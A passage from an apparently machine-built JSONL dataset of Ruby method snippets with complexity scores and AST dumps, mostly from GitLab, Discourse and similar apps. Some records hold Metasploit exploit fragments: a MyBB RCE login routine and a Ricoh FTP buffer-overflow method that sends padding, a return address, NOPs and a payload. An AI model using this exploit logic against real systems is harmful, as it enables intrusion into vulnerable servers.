end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"added_big_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hunk\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" --- a/text_file\\n\"]},{\"type\":\"str\",\"children\":[\" +++ b/text_file\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"file\",{\"type\":\"send\",\"children\":[null,\"diff_file_from_hunk\",{\"type\":\"lvar\",\"children\":[\"hunk\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"define_singleton_method\",{\"type\":\"sym\",\"children\":[\"too_large?\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"RapidDiffs\"]},\"DiffFileComponent\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"diff_file\"]},{\"type\":\"lvar\",\"children\":[\"file\"]}]}]}]}]}]}]}","id":"3f35ac0d-9d17-4fc7-aef9-b42c300472f4"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/ranking.rb","start_line":15,"raw_source":"def rank_to_h\n rank_to_s.gsub('Rank', '').downcase\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"rank_to_h\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rank_to_s\"]},\"gsub\",{\"type\":\"str\",\"children\":[\"Rank\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"downcase\"]}]}","id":"edfe033b-c350-4a81-a23b-7202afe02b44"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/patch/draw_route.rb","start_line":28,"raw_source":"def draw_route(path)\n if File.exist?(path)\n instance_eval(File.read(path), path.to_s)\n true\n else\n false\n end\n end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"draw_route\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance_eval\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"to_s\"]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"false\",\"children\":[]}]}]}","id":"5044b39f-fa68-4655-9952-e48268f70851"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/presenters/mail_presenter.rb","start_line":42,"raw_source":"def text_content\n @decoded_text_content = mail_content(text_part) || ''\n\n encoding = @decoded_text_content.encoding\n\n body = EmailReplyTrimmer.trim(@decoded_text_content)\n\n return {} if @decoded_text_content.blank? || !text_mail_body?\n\n @text_content ||= {\n full: mail_content(text_part),\n reply: @decoded_text_content,\n quoted: body.force_encoding(encoding).encode('UTF-8')\n }\n end","complexity_score":19.3,"ast_json":"{\"type\":\"def\",\"children\":[\"text_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@decoded_text_content\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mail_content\",{\"type\":\"send\",\"children\":[null,\"text_part\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"encoding\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@decoded_text_content\"]},\"encoding\"]}]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailReplyTrimmer\"]},\"trim\",{\"type\":\"ivar\",\"children\":[\"@decoded_text_content\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@decoded_text_content\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"text_mail_body?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[]}]},null]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@text_content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"full\"]},{\"type\":\"send\",\"children\":[null,\"mail_content\",{\"type\":\"send\",\"children\":[null,\"text_part\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reply\"]},{\"type\":\"ivar\",\"children\":[\"@decoded_text_content\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"quoted\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"force_encoding\",{\"type\":\"lvar\",\"children\":[\"encoding\"]}]},\"encode\",{\"type\":\"str\",\"children\":[\"UTF-8\"]}]}]}]}]}]}]}","id":"9d849670-43e6-4ebe-a303-a52a666da866"} {"repo_name":"openproject","file_path":"./repos/openproject/app/forms/work_packages/progress_form.rb","start_line":187,"raw_source":"def field_hint_message(field_name)\n work_package.derived_progress_hint(field_name)&.message\n end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"field_hint_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"field_name\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package\"]},\"derived_progress_hint\",{\"type\":\"lvar\",\"children\":[\"field_name\"]}]},\"message\"]}]}","id":"0058db6f-bafd-4f15-89ec-e83a966b4007"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/external_upload_helpers.rb","start_line":399,"raw_source":"def render_404(message = nil)\n if message\n render_json_error(message, status: 404)\n else\n raise Discourse::NotFound\n end\n end","complexity_score":4.53,"ast_json":"{\"type\":\"def\",\"children\":[\"render_404\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"int\",\"children\":[404]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]}]}]}","id":"ac55af5d-2352-483c-8aee-cee9e9a155f8"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20251014142227_add_fk_on_sbom_occurrence_refs_for_sbom_occurrences.rb","start_line":7,"raw_source":"def up\n add_concurrent_index :sbom_occurrence_refs,\n :sbom_occurrence_id,\n name: 'idx_sbom_occurrence_refs_on_occurrence_id'\n add_concurrent_foreign_key :sbom_occurrence_refs, :sbom_occurrences, column: :sbom_occurrence_id,\n on_delete: :cascade\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_concurrent_index\",{\"type\":\"sym\",\"children\":[\"sbom_occurrence_refs\"]},{\"type\":\"sym\",\"children\":[\"sbom_occurrence_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"idx_sbom_occurrence_refs_on_occurrence_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_concurrent_foreign_key\",{\"type\":\"sym\",\"children\":[\"sbom_occurrence_refs\"]},{\"type\":\"sym\",\"children\":[\"sbom_occurrences\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"sbom_occurrence_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"on_delete\"]},{\"type\":\"sym\",\"children\":[\"cascade\"]}]}]}]}]}]}","id":"e33f777b-96d0-4661-9e70-8294cc5be79a"} {"repo_name":"forem","file_path":"./repos/forem/app/services/survey_completion_service.rb","start_line":2,"raw_source":"def self.check_and_mark_completion(user:, poll:)\n return unless poll.survey.present?\n return unless user.present?\n\n survey = poll.survey\n\n # Check if the survey is now completed by the user\n return unless survey.completed_by_user?(user)\n\n # Mark the survey as completed if it hasn't been marked already\n survey.mark_completed_by_user!(user) unless survey.completion_recorded_for_user?(user)\n end","complexity_score":12.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"check_and_mark_completion\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"user\"]},{\"type\":\"kwarg\",\"children\":[\"poll\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"survey\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"survey\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"poll\"]},\"survey\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"survey\"]},\"completed_by_user?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"survey\"]},\"completion_recorded_for_user?\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"survey\"]},\"mark_completed_by_user!\",{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}","id":"972927d4-2ebe-44e5-8e4e-858dc170a13c"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace_setting.rb","start_line":171,"raw_source":"def jwt_ci_cd_job_token_enabled?\n return true if Feature.enabled?(:ci_job_token_jwt, namespace) && !jwt_ci_cd_job_token_opted_out?\n\n super\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"jwt_ci_cd_job_token_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Feature\"]},\"enabled?\",{\"type\":\"sym\",\"children\":[\"ci_job_token_jwt\"]},{\"type\":\"send\",\"children\":[null,\"namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"jwt_ci_cd_job_token_opted_out?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"36373240-26bf-4e5b-b5f9-85bcbe1f94a1"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/suggestion.rb","start_line":37,"raw_source":"def from_line_index\n from_line - 1\n end","complexity_score":2.5,"ast_json":"{\"type\":\"def\",\"children\":[\"from_line_index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"from_line\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}","id":"0ed5cd73-8878-4138-9aff-fb53329dd45a"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/groups/projects_requiring_authorizations_refresh/on_direct_membership_finder.rb","start_line":12,"raw_source":"def execute\n project_ids = Set.new\n\n project_ids.merge(ids_of_projects_in_hierarchy_and_project_shares(@group))\n project_ids.merge(ids_of_projects_in_hierarchy_and_project_shares_of_shared_groups(@group))\n\n project_ids.to_a\n end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"ids_of_projects_in_hierarchy_and_project_shares\",{\"type\":\"ivar\",\"children\":[\"@group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"merge\",{\"type\":\"send\",\"children\":[null,\"ids_of_projects_in_hierarchy_and_project_shares_of_shared_groups\",{\"type\":\"ivar\",\"children\":[\"@group\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids\"]},\"to_a\"]}]}]}","id":"2c6d793d-8a1b-4dca-a54e-cfd3a4115fee"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/mutations/alert_management/base.rb","start_line":35,"raw_source":"def find_object(project_path:, **args)\n project = Project.find_by_full_path(project_path)\n\n return unless project\n\n ::AlertManagement::AlertsFinder.new(current_user, project, args).execute.first\n end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_object\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"project_path\"]},{\"type\":\"kwrestarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by_full_path\",{\"type\":\"lvar\",\"children\":[\"project_path\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"AlertManagement\"]},\"AlertsFinder\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},\"execute\"]},\"first\"]}]}]}","id":"ed59a2da-20d1-4336-89b4-f9a97ccbd785"} {"repo_name":"sinatra","file_path":"./repos/sinatra/lib/sinatra/base.rb","start_line":1541,"raw_source":"def put(path, opts = {}, &block) route 'PUT', path, opts, &block end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"put\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"route\",{\"type\":\"str\",\"children\":[\"PUT\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"52b8a008-0a91-4071-b452-512bb409a8f4"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget.rb","start_line":484,"raw_source":"def self.sync_from_file(filename)\n attrs = YAML.load_file(filename)\n sync_from_hash(attrs.merge(\"filename\" => filename))\n end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"sync_from_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"attrs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"YAML\"]},\"load_file\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"send\",\"children\":[null,\"sync_from_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attrs\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"filename\"]},{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]}]}]}]}]}","id":"43be42b1-5a77-4ee6-a32c-61a9c239663d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/groups/dependency_proxy_for_containers_controller.rb","start_line":215,"raw_source":"def tracking_user\n auth_user if auth_user.is_a?(User)\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"tracking_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"auth_user\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"User\"]}]},{\"type\":\"send\",\"children\":[null,\"auth_user\"]},null]}]}","id":"0ce6a4b9-acc5-4595-94c3-b97428c3e750"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/mybb_rce_cve_2022_24734.rb","start_line":134,"raw_source":"def login\n vprint_status('Attempting login')\n\n cookie_jar.cleanup(true)\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, '/admin/index.php'),\n 'method' => 'POST',\n 'keep_cookies' => true,\n 'vars_post' => {\n 'username' => datastore['USERNAME'],\n 'password' => datastore['PASSWORD'],\n 'do' => 'login'\n }\n })\n fail_with(Failure::Unreachable, \"#{peer} - Could not connect to web service - no response\") if res.nil?\n unless res.body.match(/Logged in as .*#{datastore['USERNAME']}/)\n fail_with(Failure::NoAccess, \"#{peer} - Invalid credentials\")\n end\n\n print_good('Login successful!')\n end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Attempting login\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cookie_jar\"]},\"cleanup\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/admin/index.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"do\"]},{\"type\":\"str\",\"children\":[\"login\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Logged in as .*\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]}]},{\"type\":\"regopt\",\"children\":[]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoAccess\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Invalid credentials\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Login successful!\"]}]}]}]}","id":"971a8665-49b4-481b-bb2f-15cbd32a04e0"} {"repo_name":"forem","file_path":"./repos/forem/app/services/notifications/subforem_change_notification/send.rb","start_line":9,"raw_source":"def initialize(article:, old_subforem_id:, new_subforem_id:)\n @article = article\n @old_subforem_id = old_subforem_id\n @new_subforem_id = new_subforem_id\n end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"article\"]},{\"type\":\"kwarg\",\"children\":[\"old_subforem_id\"]},{\"type\":\"kwarg\",\"children\":[\"new_subforem_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@article\",{\"type\":\"lvar\",\"children\":[\"article\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@old_subforem_id\",{\"type\":\"lvar\",\"children\":[\"old_subforem_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@new_subforem_id\",{\"type\":\"lvar\",\"children\":[\"new_subforem_id\"]}]}]}]}","id":"f8fe39fd-9c66-40bd-85c5-d4fa44d5ddad"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/graphql/present/field_extension_spec.rb","start_line":26,"raw_source":"def resolve_value\n resolve_field(field, object, current_user: user, object_type: owner)\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"resolve_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"resolve_field\",{\"type\":\"send\",\"children\":[null,\"field\"]},{\"type\":\"send\",\"children\":[null,\"object\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object_type\"]},{\"type\":\"send\",\"children\":[null,\"owner\"]}]}]}]}]}","id":"6bc59f16-4f37-4e59-ab17-ee4a893f99b3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/concerns/alert_management/alert_processing.rb","start_line":26,"raw_source":"def complete_post_processing_tasks\n process_incident_issues if process_issues?\n send_alert_email if send_email? && notifying_alert?\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"complete_post_processing_tasks\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"process_issues?\"]},{\"type\":\"send\",\"children\":[null,\"process_incident_issues\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_email?\"]},{\"type\":\"send\",\"children\":[null,\"notifying_alert?\"]}]},{\"type\":\"send\",\"children\":[null,\"send_alert_email\"]},null]}]}]}","id":"14dad287-f207-47cc-8067-f5a4d066a969"} {"repo_name":"manageiq","file_path":"./repos/manageiq/tools/copy_reports_structure/report_structure.rb","start_line":47,"raw_source":"def self.find_group(group_name)\n group = MiqGroup.where(:description => group_name).first\n abort(\"MiqGroup '#{group_name}' not found\") if group.nil?\n group\n end","complexity_score":6.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiqGroup\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"group_name\"]}]}]}]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"abort\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MiqGroup '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group_name\"]}]},{\"type\":\"str\",\"children\":[\"' not found\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}","id":"3c3ebdb3-a42f-4851-bc1b-0fba1f9c2749"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/command_shell.rb","start_line":411,"raw_source":"def cmd_download_help\n print_line(\"Usage: download [src] [dst]\")\n print_line\n print_line(\"Downloads remote files to the local machine.\")\n print_line(\"Only files are supported.\")\n print_line\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_download_help\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Usage: download [src] [dst]\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Downloads remote files to the local machine.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"str\",\"children\":[\"Only files are supported.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_line\"]}]}]}","id":"6f1c2961-0f5c-45f2-bbc7-e7fb714f888a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/ftp/ricoh_dl_bof.rb","start_line":79,"raw_source":"def exploit\n buf = ''\n buf << rand_text_alpha(target['Offset'], payload_badchars)\n buf << [target.ret].pack('V')\n buf << make_nops(20)\n buf << payload.encoded\n\n print_status(\"#{rhost}:#{rport} - Sending #{self.name}\")\n connect\n send_user(buf)\n handler\n disconnect\n end","complexity_score":27.55,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Offset\"]}]},{\"type\":\"send\",\"children\":[null,\"payload_badchars\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\"